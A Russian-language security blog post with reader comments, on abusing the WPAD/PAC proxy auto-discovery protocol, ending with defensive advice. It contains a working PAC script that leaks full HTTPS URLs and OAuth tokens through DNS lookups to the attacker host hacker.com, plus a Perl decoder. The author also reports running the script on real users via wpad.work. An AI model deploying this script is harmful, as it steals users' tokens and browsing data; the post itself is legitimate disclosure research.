Привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. На последнем Security Meetup’е я поделился результатами своего исследования протокола автоматической настройки прокси WPAD. Для тех, кто пропустил, — сегодняшний пост. Я расскажу о том, что такое WPAD, какие возможности для эксплуатации он предоставляет с точки зрения злоумышленника, а также покажу примеры того, как можно частично перехватывать HTTPS-трафик с помощью этой технологии.

Немного матчасти


WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config), представляющий собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении запроса браузер вызывает функцию FindProxyForURL из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Выглядит это примерно так:

function FindProxyForURL(url, host) {
    if (host == "mail.ru") {
        return "PROXY mp.example.com:8080";
    } else
    if (host == "google.com") {
        return "PROXY gp.example.com:5050";
    } else {
        return "DIRECT";
    }
}

Помимо FindProxyForURL в PAC-скрипте доступны различные вспомогательные функции для более гибкой настройки. С их помощью можно, например, указать, что браузер должен открывать сайт mail.ru с часу до двух в понедельник через %proxynameX%, а в другое время — через %proxynameY%. Адрес PAC-скрипта можно прописать в настройках прокси браузера в явном виде. Например, в Firefox это можно сделать в пункте настроек под названием «URL автоматической настройки сервиса прокси». Однако администратору сети вряд ли захочется прописывать настройки для всех браузеров каждого клиента вручную. Гораздо удобнее воспользоваться для этого WPAD.

Как работает WPAD


Первым делом WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (однако такая возможность практически не поддерживается браузерами), а затем отправляет HTTP-запрос на http://wpad.%domain%/wpad.dat и скачивает полученный файл. При этом в различных операционных системах поиск файла wpad.dat будет происходить по-разному.

Предположим, из настроек DHCP мы узнали, что имя домена — msk.office.work. Тогда Windows XP попытается найти его на wpad.msk.office.work (резолвинг домена будет через DNS), а потом просто на wpad.office.work.

  1. http://wpad.msk.office.work/wpad.dat (DNS)
  2. http://wpad.office.work/wpad.dat (DNS)


Запросы, которые делает Windows XP

Windows 7 ведет себя по-другому: сначала по DNS проверяет полный домен, потом пытается зарезолвить имя WPAD через Link-Local Multicast Name Resolution, а затем — с помощью NetBIOS Name Service. Последние два являются широковещательными протоколами, а LLMNR поддерживается только Windows, начиная с Vista.

  1. http://wpad.msk.office.work/wpad.dat (DNS)
  2. http://wpad/wpad.dat (LLMNR)
  3. http://wpad/wpad.dat (NBNS)


Запросы, которые делает Windows 7

Использование в локальной сети


Представим себя на месте злоумышленника, который хочет пустить весь локальный трафик через свой прокси-сервер. Если мы находимся в том же сегменте локальной сети (т.е. можем использовать NetBIOS), нам даже ничего не придется делать — можно воспользоваться готовым NBNS-спуфером из Metasploit.




Осуществление NBNS-спуффинга в локальной сети

Если же мы находимся в другой подсети, но в нашей сети есть WINS-сервер, мы можем поднять Windows-хост с именем WPAD, чтобы WINS распространил информацию о нас. Этот кейс вполне рабочий: при тестировании в достаточно крупной локальной сети одного вуза на хост, находящийся в сети даже меньше /24, начали приходить запросы с сотен различных IP.

Использование в интернете


В настоящее время существует 861 домен первого уровня. Помимо привычных .com, .net, .ru, .org, среди них встречаются и более экзотические — от .work и .school до .ninja и .vodka. Имена этих доменов вполне могут быть прописаны в опции domain-name DHCP-серверов. Таким образом, если в domain-name будет указан домен .university, а мы зарегистрируем домен wpad.university, то все запросы за WPAD-файлом попадут к нам. Причем, если посмотреть на wpad.TLD доменов первого уровня, мы увидим следующую картину:


Свободные для регистрации домены WPAD

Пару лет назад я регистрировал домен wpad.co, на который действительно шли многочисленные запросы за wpad.dat файлом. Но есть и более свежие свидетельства возможности перехватить то, что нам не предназначалось: месяц назад я зарегистрировал домен wpad.work. За 11 дней к нему обратились с 3901 уникального IP. При этом заметно, что количество запросов уменьшалось в выходные.


Количество обращений к wpad.work: динамика по дням недели
Что можно найти в логах, если отправить всех страждущих через свой прокси, можно увидеть ниже.


Фрагмент лога прокси-сервера

Profit?


Итак, мы заставили пользователей ходить через подконтрольный нам прокси-сервер. Что это нам дает? В случае HTTP-запросов — полный контроль над трафиком: заголовками и телом запроса и ответа, всеми параметрами, cookies, данными сабмитов форм.


HTTP-запрос через прокси-сервер

В случае с HTTPS мы увидим только метод CONNECT. Максимум доступной нам информации — хост и user-agent. К сожалению, самое интересное, то есть данные обмена между клиентом и сервером после handshake, для нас будет выглядеть лишь как набор бинарных данных.


HTTPS-запрос через прокси-сервер

Back to PAC


Несмотря на то, что PAC-скрипт написан на JavaScript, в нем недоступны объекты window, document, не получится вывести пользователю alert (он будет отображен только в логах браузера). Тем не менее, даже в этой урезанной версии есть свои приятные функции.


JavaScript-функции, доступные из PAC-скрипта

Одна из них — isResolvable — проверяет, возможно ли разрешить доменное имя в IP-адрес. Работает это так:

if (isResolvable(host))
    return "PROXY proxy1.example.com:8080";

Что нам может дать использование этой функции? Чтобы ответить на этот вопрос, сначала разберемся, что именно передается в функцию FindProxyForURL в аргументе «URL». Оказывается, это зависит от браузера: Chrome передает схему, хост, запрос (GET-параметры), а вот Firefox вдобавок еще и фрагмент (location.hash).

Например, URL http://mail.ru/?a=123#token=secret обработается следующим образом:

Chrome



Firefox



Независимо от того, какой браузер используется, у нас есть полный URL. С этим уже можно работать. Попытаемся, используя isResolvable, перехватить URL. Мы кодируем URL таким образом, чтобы он был валидным именем хоста, и дописываем .hacker.com, в NS-записи которого прописан DNS-сервер, где мы же отвечаем на все запросы и логируем их.

Итак, с помощью нехитрых преобразований:

function encode(str) {
    r = str.toLowerCase()
        .replace(/([^a-z1-9])/g, function(m) {
            return "0" + m.charCodeAt(0)
        })
        .replace(/([^\.]{60})(.)/g, '$1.$2')
        .substr(0, 240);
    return r + (r.slice(-1) != "." ? "." : "") + "hacker.com";
}

function FindProxyForURL(url, host) {
    var u = encode(url);
    return isResolvable(u) ? "DIRECT" : "DIRECT";
}

наш тестовый URL https://example.ru/?token=123 превращается в элегантное
https058047047example046ru047063token061123.hacker.com, из которого, посредством Perl-преобразования

echo 'https058047047example046ru047063token061123.hacker.com'  | perl -lape 's/\.hacker\.com$//; s/\.//g; s/0(..)/chr($1)/eg;'

можно легко получить исходную строку, то есть полный URL HTTPS-запроса. Таким образом, воспользовавшись неправильной настройкой клиента, злоумышленник может частично обойти HTTPS-шифрование и получить доступ к URL’ам всех запросов пользователя.

Не секрет, что во фрагменте URL (location.hash) часто передаются OAuth-токены. Таким образом, в случае использования Firefox, к нам в руки могут попасть и они.

В результате размещения этого скрипта на wpad.work были перехвачены несколько тысяч запросов пользователей, среди них самыми популярными протоколами оказались:

  1. 53% HTTPS
  2. 46% HTTP
  3. 0.15% WS
  4. 0.08% WSS


Чаще всего запросы приходили из следующих стран:

  1. 14% Россия
  2. 11% США
  3. 9% Китай
  4. 7% Индия

Итого


С помощью WPAD можно, невзирая на HTTPS, перехватывать локальный трафик, токены OAuth и другую информацию из URL. Однако мы как честные люди такого делать не будем. Лучше попробуем, используя имеющиеся у нас знания, защититься от потенциальных атак. Ниже — основные рекомендации, выполнение которых позволит обезопасить свой трафик.

  1. Не использовать «чужие» домены. Обычно советуют при отсутствии своего домена использовать .local, но я бы не рекомендовал этого делать, поскольку злоумышленник сможет совершить атаку через broadcast-резолверы, которые используют тот же домен — в частности Bonjour. Оптимально использовать зарегистрированное доменное имя (необязательно делать его разрешимым снаружи).
  2. Резервировать адреса wpad в доменных зонах.
  3. Отключить автоматическое определение настроек в настройках всех браузеров (для IE и Chrome это можно сделать через доменные политики).

P.S. Если вы хотите принять участие в одном из следующих Security Meetup’ов, и вам есть о чем рассказать, напишите Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.

Комментарии (16)


  1. mikes
    04.06.2015 15:13

    Отключить автоматическое определение настроек в настройках всех браузеров (для IE и Chrome это можно сделать через доменные политики).
    тогда конечно теряется часть функционала wpad :(


    1. z3apa3a
      04.06.2015 15:22
      +1

      Если требуется функционал wpad, то лучше всего прописать в настройках браузера или политикой URL сценария автоматической настройки.


      1. mikes
        04.06.2015 15:30

        да это то оно понятно, тут вопрос больше в том, что теряем именно функционал самостоятельного обнаружения. Тот случай когда клиент получает доступ сразу «из коробки» и не имеет проблем вне офисной сети когда wpad прописан. не очень хочется светить wpad.dat на весь мир то.


        1. z3apa3a
          04.06.2015 15:46

          Так не светите — на сервере по IP клиента отдавайте или WPAD для локальной сети или пустой, если запрос пришел снаружи.


          1. mikes
            04.06.2015 15:50

            идея хороша, спасибо за совет :)


  1. gotch
    04.06.2015 18:13
    +2

    В соответствии с RFC 2606 есть всего лишь 4 домена первого уровня для «левых» имен —
    .test
    .example
    .invalid
    .localhost

    Настоятельно не рекомендую администраторам придумывать свои домены, в будущем эти доменные зоны могут внезапно стать публичными.

    Так же не лишним будем подумать об отключении WPAD в групповой политике и включении DHCP опции 252 technet.microsoft.com/ru-ru/library/bb839043.aspx


    1. z3apa3a
      04.06.2015 22:38

      DHCP опция 252 скорее всего не решает проблемы, фактически она вообща мало на что влияет. Настройки WPAD не получаются одновременно с получением IP. В старых версиях Windows настройки WPAD запрашивались в Internet Explorer отдельным запросом DHCPINFORM при старте браузера, причем только если у пользователя были права администратора, в современных не уверен, что какой-либо браузер вообще ее поддерживает, хотя не проверял и могу ошибаться.


      1. cdump Автор
        04.06.2015 22:56

        Про поддержку этой опции современными браузерами сказано верно, например в последних на момент исследования Firefox и Chrome эта dhcp опция не учитывалась


        1. VGusev2007
          05.06.2015 10:16

          Насколько я понял, IE, спрашивает эту настройку в DHCP. Если ограничиться просто DNS, то MS Office, proxy не подхватывает.


  1. naum
    04.06.2015 22:05
    +4

    Отличный пост, крутые изыскания, интересная плюха с пропуском поддомена. Интересно, как изменится ситуация на рынке wpad.* доменов в ближайшие дни.


  1. Ivan_83
    05.06.2015 10:30
    +2

    Очень плохо раскрыта тема автодетекта WPAD.
    www.netlab.linkpc.net/forum/index.php?topic=8.0

    Насколько я знаю оно в начале шлёт DHCP INFORM и требует опцию 252, и только если ответа нет или опции в ответе нет то начинается брожение где попало.
    Админу достаточно на дхцп сервере прописать валидный URL а по хттп отдавать файл. Это и управляемый коммутатор с дхцп скринигом надёжно защитят всю сеть от подобных проблем.
    Вот тут недавно подробно расписывал как оно настраивается: forum.nag.ru/forum/index.php?showtopic=64849&view=findpost&p=1133574

    Кроме браузеров WPAD использует весь софт который использует WinHTTP API (как минимум windows update), по крайне мере пока не отключена служба которая только и занимается что автодетектом прокси.

    IMHO, WPAD/PAC пора убрать: кому надо могут поставить себе локальные прокси или прозрачные прокси на роутерах и там гибко и централизованно рулить, большинству это всё не нужно.
    Но дуракам закон не писан и они хотят убрать HTTP 1.x, совершенно не думая о том, как потом админить кучу сетевого оборудования.


    1. ValdikSS
      05.06.2015 22:02
      +1

      Кроме браузеров WPAD использует весь софт который использует WinHTTP API (как минимум windows update), по крайне мере пока не отключена служба которая только и занимается что автодетектом прокси.
      Не только WPAD, но и сам PAC. И это страшно. Трафик к PAC-файлу антизапрета превышает трафик самого прокси. Я не шучу, 50000 человек способны генерировать по 20 Мбит/с. Неправильно написанные Wininet-приложения, которые, вероятно, создают каждый раз новый контекст для нового запроса, запрашивают PAC-файл каждый раз, совершая запрос!

      Вот, полюбуйтесь: valdikss.org.ru/az-proxypac.webm. Приходится отдавать 403 на запросы без User-Agent.


      1. Bo0oM
        06.06.2015 01:55

        Прикольно)
        А по редиректу они пойдут?))


        1. ValdikSS
          06.06.2015 01:58

          Не пробовал, но, думаю, пойдут.


    1. cdump Автор
      05.06.2015 22:33

      Насколько я знаю оно в начале шлёт DHCP INFORM и требует опцию 252, и только если ответа нет или опции в ответе нет то начинается брожение где попало.


      В реальности все не так хорошо с DHCP 252:
      — в firefox это не поддерживается нигде.
      — в Windows 7 это поддерживает только IE — см. DHCP WPAD findproxyforurl.com/browser-support


      1. gotch
        17.06.2015 12:19

        Есть еще такой старый сценарий:

        Злоумышленник назначает рабочей станции имя wpad. Вводит в домен (используя привилегию ввести 10 рабочих станций). Автоматически появляется нужная запись в DNS. Profit.

        Для этого еще в Windows Server 2008 сделали globalqueryblocklist (https://technet.microsoft.com/ru-ru/library/cc794902(v=ws.10).aspx). Добавить запись wpad можно, но DNS ее не будет разрешать. Но здесь появляется риск поднятия на домены верхнего уровня для поиска wpad.